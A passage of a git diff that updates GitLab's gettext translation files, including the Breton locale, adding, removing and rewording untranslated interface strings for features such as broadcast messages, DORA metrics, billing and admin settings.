msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/br_FR/gitlab.po b/locale/br_FR/gitlab.po
index 1b89aae59d6..389f402c5d4 100644
--- a/locale/br_FR/gitlab.po
+++ b/locale/br_FR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: br-FR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -1023,6 +1023,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1095,6 +1098,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1229,6 +1235,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1249,6 +1261,14 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1299,9 +1319,6 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1434,14 +1451,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1937,7 +1946,7 @@ msgstr[3] ""
msgstr[4] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2173,6 +2182,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2317,9 +2329,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2368,9 +2377,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2530,7 +2536,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2608,6 +2614,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2986,15 +2995,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -3076,9 +3088,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -3106,6 +3127,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3160,6 +3187,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3229,6 +3259,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3403,9 +3439,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3451,6 +3484,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3697,7 +3733,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3742,6 +3778,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -4000,6 +4039,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4642,9 +4684,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4813,15 +4852,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4855,9 +4885,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -5112,6 +5139,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5260,9 +5299,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5355,6 +5391,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5507,6 +5546,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -6070,6 +6112,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -6085,12 +6130,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7674,9 +7725,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8276,6 +8411,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8387,13 +8525,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8682,6 +8817,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8841,12 +8979,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -9030,6 +9162,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9158,6 +9293,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9260,12 +9398,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9934,21 +10078,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10440,6 +10569,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11340,6 +11472,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11733,6 +11868,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12632,6 +12770,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12656,6 +12797,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12668,7 +12812,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12689,6 +12836,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12710,6 +12863,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12728,6 +12887,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12749,6 +12917,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12758,6 +12932,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12773,9 +12950,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13696,11 +13870,13 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13774,6 +13950,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -14164,9 +14343,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14182,6 +14367,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14268,6 +14459,12 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14540,7 +14737,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14765,6 +14962,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15268,6 +15468,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16465,10 +16668,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16477,9 +16677,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16980,9 +17177,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -17016,9 +17210,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17344,9 +17535,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17775,9 +17963,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -18096,16 +18281,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18206,6 +18388,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18870,9 +19055,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19289,6 +19471,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19301,6 +19486,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19325,6 +19516,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19343,6 +19537,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19355,9 +19552,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19682,6 +19885,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19844,7 +20053,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20327,9 +20536,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20384,6 +20599,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20393,6 +20611,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20402,6 +20626,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
